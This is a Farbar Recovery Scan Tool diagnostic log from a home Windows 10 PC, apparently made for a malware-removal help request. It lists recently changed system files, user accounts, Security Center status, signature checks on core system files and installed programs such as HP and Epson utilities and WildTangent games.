2015-12-18 14:57 - 2015-10-30 01:24 - 00028672 _____ C:\WINDOWS\system32\config\BCD-Template
2015-12-18 14:57 - 2015-10-30 01:24 - 00000000 ___RD C:\WINDOWS\DevicesFlow
2015-12-18 14:50 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\SystemResetPlatform
2015-12-18 14:50 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\appraiser
2015-12-18 14:50 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\Provisioning
2015-12-18 14:50 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\bcastdvr
2015-12-18 14:50 - 2015-10-30 00:28 - 00000000 ____D C:\WINDOWS\SysWOW64\Dism
2015-12-18 14:50 - 2015-10-30 00:28 - 00000000 ____D C:\WINDOWS\system32\Dism
2015-12-18 14:47 - 2014-05-14 18:04 - 00000000 ___RD C:\Users\Larry\OneDrive
2015-12-18 14:37 - 2015-10-30 01:24 - 00000000 ___RD C:\WINDOWS\PurchaseDialog
2015-12-18 14:37 - 2015-10-30 01:24 - 00000000 ___RD C:\WINDOWS\PrintDialog
2015-12-18 14:37 - 2015-10-30 01:24 - 00000000 ___RD C:\WINDOWS\MiracastView
2015-12-18 14:37 - 2015-10-30 01:24 - 00000000 ___RD C:\WINDOWS\ImmersiveControlPanel
2015-12-18 14:35 - 2013-11-04 11:54 - 00000000 __RHD C:\Users\Public\AccountPictures
2015-12-18 14:32 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\SysWOW64\inetsrv
2015-12-18 14:32 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\inetsrv
2015-12-18 14:32 - 2015-10-30 01:19 - 00168960 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iisRtl.dll
2015-12-18 14:32 - 2015-10-30 01:19 - 00051200 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\admwprox.dll
2015-12-18 14:32 - 2015-10-30 01:19 - 00026112 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ahadmin.dll
2015-12-18 14:32 - 2015-10-30 01:19 - 00017408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iisreset.exe
2015-12-18 14:32 - 2015-10-30 01:19 - 00011264 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wamregps.dll
2015-12-18 14:32 - 2015-10-30 01:19 - 00010240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iisrstap.dll
2015-12-18 14:32 - 2015-10-30 01:18 - 00202240 _____ (Microsoft Corporation) C:\WINDOWS\system32\iisRtl.dll
2015-12-18 14:32 - 2015-10-30 01:18 - 00056320 _____ (Microsoft Corporation) C:\WINDOWS\system32\admwprox.dll
2015-12-18 14:32 - 2015-10-30 01:18 - 00053248 _____ (Microsoft Corporation) C:\WINDOWS\system32\ahadmin.dll
2015-12-18 14:32 - 2015-10-30 01:18 - 00019456 _____ (Microsoft Corporation) C:\WINDOWS\system32\iisreset.exe
2015-12-18 14:32 - 2015-10-30 01:18 - 00015360 _____ (Microsoft Corporation) C:\WINDOWS\system32\wamregps.dll
2015-12-18 14:32 - 2015-10-30 01:18 - 00013312 _____ (Microsoft Corporation) C:\WINDOWS\system32\iisrstap.dll
2015-12-18 13:50 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\rescache
2015-12-18 13:47 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\WinBioDatabase
2015-12-18 13:47 - 2015-10-30 01:24 - 00000000 ____D C:\ProgramData\USOPrivate
2015-12-18 13:47 - 2015-10-30 00:28 - 00032768 ___SH C:\WINDOWS\system32\config\ELAM
2015-12-18 13:46 - 2014-05-14 13:56 - 00038103 _____ C:\WINDOWS\diagwrn.xml
2015-12-18 13:46 - 2014-05-14 13:56 - 00038103 _____ C:\WINDOWS\diagerr.xml
2015-12-18 13:44 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\Registration
2015-12-18 13:43 - 2014-05-14 14:13 - 00022840 _____ C:\WINDOWS\system32\emptyregdb.dat
2015-12-18 13:42 - 2015-08-04 15:48 - 00003276 _____ C:\WINDOWS\System32\Tasks\EPSON XP-420 Series Update {6D00888C-0608-43CF-AF00-DC39583DA544}
2015-12-18 13:42 - 2015-03-21 15:20 - 00003080 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{EED7C31E-FE72-4899-A48A-732540AF4C74}
2015-12-18 13:42 - 2015-03-21 11:40 - 00002810 _____ C:\WINDOWS\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-2690978493-790239216-3970457346-1006
2015-12-18 13:42 - 2014-07-01 17:51 - 00002576 _____ C:\WINDOWS\System32\Tasks\GarminUpdaterTask
2015-12-18 13:42 - 2014-04-24 19:29 - 00002810 _____ C:\WINDOWS\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-2690978493-790239216-3970457346-1001
2015-12-18 13:42 - 2014-04-24 19:26 - 00003304 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineUA
2015-12-18 13:42 - 2014-04-24 19:26 - 00003076 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineCore
2015-12-18 13:42 - 2012-08-31 23:15 - 00002340 _____ C:\WINDOWS\System32\Tasks\MirageAgent
2015-12-18 13:37 - 2015-10-30 01:24 - 00000000 __RHD C:\Users\Public\Libraries
2015-12-18 13:29 - 2015-10-30 01:24 - 00000000 ___HD C:\WINDOWS\ELAMBKUP
2015-12-18 13:29 - 2014-05-20 05:49 - 00000000 ____D C:\WINDOWS\SysWOW64\QuickTime
2015-12-18 13:29 - 2014-05-20 05:49 - 00000000 ____D C:\WINDOWS\SysWOW64\BWKDLogs
2015-12-18 13:29 - 2012-08-31 23:54 - 00000000 ____D C:\WINDOWS\en
2015-12-18 13:28 - 2015-08-04 07:27 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\EPSON Software
2015-12-18 13:28 - 2015-04-10 06:52 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Garmin
2015-12-18 13:28 - 2015-03-25 08:20 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TED Notepad
2015-12-18 13:28 - 2015-02-12 21:05 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office
2015-12-18 13:28 - 2014-08-01 13:53 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ZoomText Keyboard
2015-12-18 13:28 - 2014-08-01 13:25 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ZoomText 10.1
2015-12-18 13:28 - 2014-06-23 18:33 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
2015-12-18 13:28 - 2014-05-22 14:30 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastStone Image Viewer
2015-12-18 13:28 - 2014-05-21 12:08 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HP
2015-12-18 13:28 - 2014-05-20 05:49 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\QuickTime
2015-12-18 13:28 - 2014-05-08 10:48 - 00000000 ____D C:\Users\Larry\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\HP MyRoom
2015-12-18 13:28 - 2014-05-05 20:26 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CleanUp!
2015-12-18 13:28 - 2014-04-28 15:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Yahoo! Messenger
2015-12-18 13:28 - 2014-04-24 19:27 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome
2015-12-18 13:28 - 2012-08-31 23:54 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Live
2015-12-18 13:28 - 2012-08-31 23:19 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games
2015-12-18 13:28 - 2012-08-31 23:15 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Communication and Chat
2015-12-18 13:28 - 2012-08-31 23:09 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Productivity and Tools
2015-12-18 13:28 - 2012-08-31 23:03 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HP Help and Support
2015-12-18 13:28 - 2012-08-31 22:58 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Music, Photos and Videos
2015-12-18 13:27 - 2013-08-22 07:36 - 00000000 ____D C:\Users\Default.migrated
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\SysWOW64\migwiz
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\SysWOW64\lv-LV
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\SysWOW64\lt-LT
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\SysWOW64\IME
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\SysWOW64\et-EE
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\SysWOW64\en-GB
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\spool
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\oobe
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\NDF
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\lv-LV
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\lt-LT
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\InputMethod
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\IME
2015-12-18 13:19 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\et-EE
2015-12-18 13:19 - 2014-08-12 06:03 - 00000000 ____D C:\WINDOWS\system32\Garmin
2015-12-18 13:19 - 2014-08-04 16:11 - 00000000 ____D C:\WINDOWS\SysWOW64\Garmin
2015-12-18 13:19 - 2014-05-20 05:49 - 00000000 ____D C:\WINDOWS\SysWOW64\color
2015-12-18 13:19 - 2013-08-22 09:36 - 00000000 ____D C:\WINDOWS\system32\WindowsInternal.Inbox.Shared
2015-12-18 13:19 - 2013-08-22 09:36 - 00000000 ____D C:\WINDOWS\system32\WindowsInternal.Inbox.Media.Shared
2015-12-18 13:18 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\system32\en-GB
2015-12-18 13:16 - 2015-10-30 03:07 - 00000000 ____D C:\WINDOWS\ShellNew
2015-12-18 13:16 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\LiveKernelReports
2015-12-18 13:16 - 2015-10-30 01:24 - 00000000 ____D C:\WINDOWS\InputMethod
2015-12-18 13:16 - 2013-08-22 09:36 - 00000000 ____D C:\WINDOWS\MediaViewer
2015-12-18 13:16 - 2013-08-22 09:36 - 00000000 ____D C:\WINDOWS\ADFS
2015-12-18 13:14 - 2015-10-30 01:24 - 00000000 ____D C:\Program Files\Common Files\microsoft shared
2015-12-18 13:14 - 2015-08-04 07:26 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\EPSON
2015-12-18 13:14 - 2015-03-20 20:27 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\The Weather Channel
2015-12-18 13:14 - 2014-04-24 19:20 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Shopping and Services
2015-12-18 13:14 - 2012-08-31 23:05 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Security and Protection
2015-12-18 13:14 - 2012-08-01 20:05 - 00000000 ____D C:\ProgramData\PRICache
2015-12-18 13:07 - 2015-10-30 00:28 - 00000000 ____D C:\WINDOWS\system32\Sysprep
2015-12-18 13:02 - 2014-05-14 13:46 - 00000000 ____D C:\AMD
2015-12-18 12:58 - 2015-10-30 03:13 - 00000000 ____D C:\WINDOWS\ServiceProfiles
2015-12-18 12:08 - 2015-10-30 03:42 - 00000000 ___HD C:\$WINDOWS.~BT
2015-12-16 16:01 - 2012-08-31 23:19 - 00000000 ____D C:\Program Files (x86)\WildTangent Games
2015-12-16 10:42 - 2015-11-14 12:06 - 00000000 ____D C:\Users\Larry\Desktop\camera pics 2015
2015-12-13 10:26 - 2014-04-27 12:03 - 00000000 ____D C:\WINDOWS\system32\MRT
2015-12-13 10:10 - 2014-04-27 12:03 - 140158008 _____ (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
2015-12-09 16:24 - 2014-08-04 11:52 - 00140800 ___SH C:\Users\Larry\Desktop\Thumbs.db
2015-12-08 21:39 - 2014-08-01 13:47 - 00301728 ____N (Microsoft Corporation) C:\WINDOWS\system32\MpSigStub.exe
 
==================== Files in the root of some directories =======
 
2015-12-31 17:39 - 2015-12-31 17:39 - 0000046 _____ () C:\Users\Larry\AppData\Roaming\WB.CFG
2014-05-05 20:43 - 2014-05-21 12:23 - 0001130 _____ () C:\ProgramData\hpzinstall.log
2012-09-01 00:08 - 2012-09-01 00:08 - 0000141 _____ () C:\ProgramData\Microsoft.SqlServer.Compact.351.64.bc
 
==================== Bamital & volsnap =================
 
(There is no automatic fix for files that do not pass verification.)
 
C:\WINDOWS\system32\winlogon.exe => File is digitally signed
C:\WINDOWS\system32\wininit.exe => File is digitally signed
C:\WINDOWS\explorer.exe => File is digitally signed
C:\WINDOWS\SysWOW64\explorer.exe => File is digitally signed
C:\WINDOWS\system32\svchost.exe => File is digitally signed
C:\WINDOWS\SysWOW64\svchost.exe => File is digitally signed
C:\WINDOWS\system32\services.exe => File is digitally signed
C:\WINDOWS\system32\User32.dll => File is digitally signed
C:\WINDOWS\SysWOW64\User32.dll => File is digitally signed
C:\WINDOWS\system32\userinit.exe => File is digitally signed
C:\WINDOWS\SysWOW64\userinit.exe => File is digitally signed
C:\WINDOWS\system32\rpcss.dll => File is digitally signed
C:\WINDOWS\system32\dnsapi.dll => File is digitally signed
C:\WINDOWS\SysWOW64\dnsapi.dll => File is digitally signed
C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed
 
 
LastRegBack: 2015-12-31 07:46
 
==================== End of FRST.txt ============================
 
 
Additional scan result of Farbar Recovery Scan Tool (x64) Version:31-12-2015
Ran by Larry (2016-01-01 16:53:08)
Running from C:\Users\Larry\Downloads
Windows 10 Home (X64) (2015-12-18 20:34:35)
Boot Mode: Normal
==========================================================
 
 
==================== Accounts: =============================
 
Administrator (S-1-5-21-2690978493-790239216-3970457346-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-2690978493-790239216-3970457346-503 - Limited - Disabled)
Guest (S-1-5-21-2690978493-790239216-3970457346-501 - Limited - Disabled) => C:\Users\Guest
HomeGroupUser$ (S-1-5-21-2690978493-790239216-3970457346-1005 - Limited - Enabled)
Larry (S-1-5-21-2690978493-790239216-3970457346-1001 - Administrator - Enabled) => C:\Users\Larry
 
==================== Security Center ========================
 
(If an entry is included in the fixlist, it will be removed.)
 
AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
 
==================== Installed Programs ======================
 
(Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)
 
4 Elements II (x32 Version: 2.2.0.98 - WildTangent) Hidden
64 Bit HP CIO Components Installer (Version: 7.2.8 - Hewlett-Packard) Hidden
Adobe Flash Player 20 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 20.0.0.267 - Adobe Systems Incorporated)
Ai Squared Visual C++ MFC Runtime (x32 Version: 10.1.0.0 - Ai Squared) Hidden
Ai Squared Visual C++ Runtime (Version: 10.1 - Ai Squared) Hidden
Ai Squared Visual C++ Runtime (x32 Version: 1.0.0.0 - Ai Squared) Hidden
AMD Catalyst Control Center (HKLM-x32\...\WUCCCApp) (Version: 1.00.0000 - AMD)
AMD Catalyst Install Manager (HKLM\...\{5F769CF4-5263-4C7B-AEB2-C06A73AE4428}) (Version: 8.0.881.0 - Advanced Micro Devices, Inc.)
ANT Drivers Installer x64 (Version: 2.3.4 - Garmin Ltd or its subsidiaries) Hidden
Bejeweled 3 (x32 Version: 2.2.0.98 - WildTangent) Hidden
Bing Bar (HKLM-x32\...\{3611CA6C-5FCA-4900-A329-6A118123CCFC}) (Version: 7.1.355.0 - Microsoft Corporation)
Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.)
BufferChm (x32 Version: 140.0.298.000 - Hewlett-Packard) Hidden
Build-a-lot 4 - Power Source (x32 Version: 2.2.0.98 - WildTangent) Hidden
ByteFence Anti-Malware (HKLM-x32\...\ByteFence) (Version: 2.0.1.14 - Byte Technologies LLC)
C4400 (x32 Version: 140.0.425.000 - Hewlett-Packard) Hidden
Chromium (HKU\S-1-5-21-2690978493-790239216-3970457346-1001\...\Chromium) (Version: 46.0.2480.0 - Chromium)
Chuzzle Deluxe (x32 Version: 2.2.0.95 - WildTangent) Hidden
CleanUp! (HKLM-x32\...\CleanUp!) (Version:  - )
Copy (x32 Version: 140.0.298.000 - Hewlett-Packard) Hidden
Cradle Of Egypt Collector's Edition (x32 Version: 2.2.0.98 - WildTangent) Hidden
Cradle of Rome 2 (x32 Version: 2.2.0.98 - WildTangent) Hidden
CyberLink LabelPrint (HKLM-x32\...\InstallShield_{C59C179C-668D-49A9-B6EA-0121CCFC1243}) (Version: 2.5.1.5510 - CyberLink Corp.)
CyberLink Media Suite 10 (HKLM-x32\...\InstallShield_{1FBF6C24-C1fD-4101-A42B-0C564F9E8E79}) (Version: 10.0.1.1916 - CyberLink Corp.)
CyberLink PhotoDirector (HKLM-x32\...\InstallShield_{4862344A-A39C-4897-ACD4-A1BED5163C5A}) (Version: 2.0.1.3109 - CyberLink Corp.)
CyberLink Power2Go 8 (HKLM-x32\...\InstallShield_{2A87D48D-3FDF-41fd-97CD-A1E370EFFFE2}) (Version: 8.0.1.1902 - CyberLink Corp.)
CyberLink PowerDirector 10 (HKLM-x32\...\InstallShield_{B0B4F6D2-F2AE-451A-9496-6F2F6A897B32}) (Version: 10.0.1.1925 - CyberLink Corp.)
CyberLink PowerDVD (HKLM-x32\...\InstallShield_{DEC235ED-58A4-4517-A278-C41E8DAEAB3B}) (Version: 10.0.1.4407 - CyberLink Corp.)
CyberLink YouCam (HKLM-x32\...\InstallShield_{01FB4998-33C4-4431-85ED-079E3EEFE75D}) (Version: 3.5.4.5527 - CyberLink Corp.)
D3DX10 (x32 Version: 15.4.2368.0902 - Microsoft) Hidden
Destinations (x32 Version: 140.0.253.000 - Hewlett-Packard) Hidden
DeviceDiscovery (x32 Version: 140.0.298.000 - Hewlett-Packard) Hidden
DocProc (x32 Version: 140.0.185.000 - Hewlett-Packard) Hidden
Driver Restore (HKLM\...\Driver Restore) (Version: 2.5.0.0 - 383 Media, Inc.)
Easy Photo Scan (HKLM-x32\...\{1A6DED1E-A024-455D-AA82-203D6B3B0CBC}) (Version: 1.00.0006 - Seiko Epson Corporation)
Elevated Installer (x32 Version: 4.0.15.0 - Garmin Ltd or its subsidiaries) Hidden
Energy Star (HKLM\...\{0FA995CC-C849-4755-B14B-5404CC75DC24}) (Version: 1.0.8 - Hewlett-Packard)
Epson Customer Participation (HKLM\...\{814FA673-A085-403C-9545-747FC1495069}) (Version: 1.7.0.0 - SEIKO EPSON CORPORATION)
Epson Event Manager (HKLM-x32\...\{17FA0444-A025-43B9-862C-81AE6307C2F2}) (Version: 3.10.0050 - Seiko Epson Corporation)
EPSON Scan (HKLM-x32\...\EPSON Scanner) (Version:  - Seiko Epson Corporation)
EPSON XP-420 Series Printer Uninstall (HKLM\...\EPSON XP-420 Series) (Version:  - SEIKO EPSON Corporation)
Epson XP-420_424 User’s Guide version 1.0 (HKLM-x32\...\UsersGuideEpson XP-420_424 User’s Guide_is1) (Version: 1.0 - )
EpsonNet Print (HKLM\...\{DF5200AB-5AE6-4598-846B-8ABC3AE121B1}) (Version: 3.0.2.0 - SEIKO EPSON Corporation)
Farm Frenzy (x32 Version: 2.2.0.98 - WildTangent) Hidden
FastStone Image Viewer 5.1 (HKLM-x32\...\FastStone Image Viewer) (Version: 5.1 - FastStone Soft)
FATE: The Cursed King (x32 Version: 2.2.0.97 - WildTangent) Hidden
Final Drive Fury (x32 Version: 2.2.0.95 - WildTangent) Hidden
FlatOut 2 (x32 Version: 2.2.0.98 - WildTangent) Hidden
Garmin Express (HKLM-x32\...\{50755d67-ae60-4e47-b3d6-ce44d01b5a95}) (Version: 4.0.15.0 - Garmin Ltd or its subsidiaries)
Garmin Express (x32 Version: 4.0.15.0 - Garmin Ltd or its subsidiaries) Hidden
Garmin Express Tray (x32 Version: 4.0.15.0 - Garmin Ltd or its subsidiaries) Hidden
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 47.0.2526.106 - Google Inc.)
Google Update Helper (x32 Version: 1.3.25.11 - Google Inc.) Hidden
Google Update Helper (x32 Version: 1.3.29.1 - Google Inc.) Hidden
Governor of Poker 2 Premium Edition (x32 Version: 2.2.0.95 - WildTangent) Hidden
GPBaseService2 (x32 Version: 140.0.297.000 - Hewlett-Packard) Hidden
Hewlett-Packard ACLM.NET v1.2.2.3 (x32 Version: 1.00.0000 - Hewlett-Packard Company) Hidden
Hoyle Card Games (x32 Version: 2.2.0.95 - WildTangent) Hidden
HP Connected Music (Meridian - installer) (HKLM-x32\...\StartHPConnectedMusic) (Version: v1.0 - Meridian Audio Ltd)
HP Connected Music (Meridian - player) (HKU\S-1-5-21-2690978493-790239216-3970457346-1001\...\HPConnectedMusic) (Version: 1.1 (build 112) hp - Meridian Audio Ltd)
HP Connected Remote (HKLM-x32\...\{F243A34B-AB7F-4065-B770-B85B767C247C}) (Version: 1.0.1202 - Hewlett-Packard)
HP Customer Participation Program 14.0 (HKLM\...\HPExtendedCapabilities) (Version: 14.0 - HP)
HP Games (HKLM-x32\...\WildTangent hp Master Uninstall) (Version: 1.0.3.0 - WildTangent)
HP Imaging Device Functions 14.0 (HKLM\...\HP Imaging Device Functions) (Version: 14.0 - HP)
HP MyRoom (HKLM-x32\...\{F86E4094-7341-4990-BFF8-3B95A9729467}) (Version: 9.6.0235 - Hewlett-Packard)
HP Photo Creations (HKLM-x32\...\HP Photo Creations) (Version: 1.0.0.2024 - HP Photo Creations Powered by RocketLife)
HP Photosmart C4400 All-In-One Driver Software 14.0 Rel. 6 (HKLM\...\{886E586A-9121-4515-9C18-2C04202614B2}) (Version: 14.0 - HP)
HP Registration Service (HKLM\...\{E4D6CCF2-0AAF-4B9C-9DE5-893EDC9B4BAA}) (Version: 1.0.5976.4186 - Hewlett-Packard)
HP Solution Center 14.0 (HKLM\...\HP Solution Center & Imaging Support Tools) (Version: 14.0 - HP)
HP Support Assistant (HKLM-x32\...\{79C54A05-F146-4EA0-8A70-D4EFE6181E52}) (Version: 8.1.40.3 - Hewlett-Packard Company)
HP Support Information (HKLM-x32\...\{B2B7B1C8-7C8B-476C-BE2C-049731C55992}) (Version: 12.00.0000 - Hewlett-Packard)
HP Support Solutions Framework (HKLM-x32\...\{55065080-504F-43BB-BE00-36B80D7D39A5}) (Version: 12.0.30.219 - Hewlett-Packard Company)
HP Update (HKLM-x32\...\{B0069CFA-5BB9-4C03-B1C6-89CE290E5AFE}) (Version: 5.002.006.003 - Hewlett-Packard)
HPPhotoGadget (x32 Version: 140.0.524.000 - Hewlett-Packard) Hidden
HPProductAssistant (x32 Version: 140.0.298.000 - Hewlett-Packard) Hidden
HPSSupply (x32 Version: 140.0.297.000 - Hewlett-Packard) Hidden
IBM ViaVoice TTS Runtime v6.610 -  UK English (HKLM-x32\...\{3972C18C-688F-4312-BE9A-3E065204C33D}) (Version:  - )
IBM ViaVoice TTS Runtime v6.610 -  US English (HKLM-x32\...\{C1A6B23C-438E-4D08-B508-4E830CA8F335}) (Version:  - )
Jewel Match 3 (x32 Version: 2.2.0.98 - WildTangent) Hidden
John Deere Drive Green (x32 Version: 2.2.0.95 - WildTangent) Hidden
Luxor Evolved (x32 Version: 2.2.0.98 - WildTangent) Hidden
Mahjongg Dimensions Deluxe: Tiles in Time (x32 Version: 2.2.0.98 - WildTangent) Hidden
Malwarebytes Anti-Malware version 2.2.0.1024 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.0.1024 - Malwarebytes)
MarketResearch (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
Microsoft Office (HKLM-x32\...\{95140000-0070-0000-0000-0000000FF1CE}) (Version: 14.0.6120.5004 - Microsoft Corporation)
Microsoft Office File Validation Add-In (HKLM-x32\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
Microsoft Office Standard Edition 2003 (HKLM-x32\...\{91120409-6000-11D3-8CFE-0150048383C9}) (Version: 11.0.8173.0 - Microsoft Corporation)
Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM-x32\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.50727 (HKLM-x32\...\{15134cb0-b767-4960-a911-f2d16ae54797}) (Version: 11.0.50727.1 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.50727 (HKLM-x32\...\{22154f09-719a-4619-bb71-5b3356999fbf}) (Version: 11.0.50727.1 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\...\{ce085a78-074e-4823-8dc1-8a721b94b76d}) (Version: 12.0.21005.1 - Microsoft Corporation)
Mortimer Beckett and the Crimson Thief Premium Edition (x32 Version: 2.2.0.98 - WildTangent) Hidden
Mystery P.I. - Curious Case of Counterfeit Cove (x32 Version: 2.2.0.98 - WildTangent) Hidden
OCR Software by I.R.I.S. 14.0 (HKLM\...\HPOCR) (Version: 14.0 - HP)
Peggle Nights (x32 Version: 2.2.0.98 - WildTangent) Hidden
Penguins! (x32 Version: 2.2.0.98 - WildTangent) Hidden
Pluto TV version 0.1.5 (HKLM-x32\...\Pluto TV_is1) (Version: 0.1.5 - Pluto TV)
Polar Bowler (x32 Version: 2.2.0.97 - WildTangent) Hidden
Polar Golfer (x32 Version: 2.2.0.98 - WildTangent) Hidden
PS_AIO_03_C4400_Software_Min (x32 Version: 140.0.425.000 - Hewlett-Packard) Hidden
QuickTime (HKLM-x32\...\QuickTime) (Version:  - )
Ralink RT5390R 802.11bgn Wi-Fi Adapter (HKLM-x32\...\{8FC4F1DD-F7FD-4766-804D-3C8FF1D309AF}) (Version: 5.0.0.0 - Ralink)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.6675 - Realtek Semiconductor Corp.)
Realtek PCIE Card Reader (HKLM-x32\...\{C1594429-8296-4652-BF54-9DBE4932A44C}) (Version: 6.2.8400.28123 - Realtek Semiconductor Corp.)
Recovery Manager (x32 Version: 5.5.0.5530 - CyberLink Corp.) Hidden
Roads of Rome 3 (x32 Version: 2.2.0.98 - WildTangent) Hidden
Scan (x32 Version: 140.0.253.000 - Hewlett-Packard) Hidden
Shop for HP Supplies (HKLM\...\Shop for HP Supplies) (Version: 14.0 - HP)
